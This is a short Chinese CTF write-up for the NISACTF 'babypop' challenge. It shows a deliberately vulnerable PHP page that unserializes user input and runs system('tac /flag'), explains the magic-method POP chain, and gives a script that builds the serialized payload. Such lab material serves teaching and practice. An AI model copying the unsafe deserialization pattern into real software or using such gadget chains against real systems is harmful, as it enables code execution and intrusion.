NISACTF常态化题库

文章发布时间:

最后更新时间:

文章总字数:
298

预计阅读时间:
1 分钟

babypop

这是一题简单的反序列化pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
function show_me_flag(){
    system("tac /flag");
}
error_reporting(0);
class NISA{
    public $fun;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            die("rookie hacker plz go back and do your own homework!");
        }
    }
    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        call_user_func($this->fun); 
        return " ";
    }
}

class Caller{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
        echo $this->ext;
    }
}
if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

进行pop链构造 首先要确定结尾和起点

这里看到了call_user_func和showmeflag 可以利用这里调用

再看所属的方法名 是__toString 其是当对象被作为字符串时调用的

也就是说echo 一个对象的时候 就会跳转到这个函数 所以这里看到caller的wakeup

逐步刨析一下执行步骤

ext为NISA类对象

这时候又会触发_call魔术方法 $x就被作为参数传给fun

紧接着就是跳转到tostring 执行showmeflag函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class NISA{
public $fun ;
}
class Caller{
public $ext;
public $x = "show_me_flag";
}
$a = new NISA();
$b = new Caller();
$b -> ext = $a;

echo serialize($b);
?>

得到flag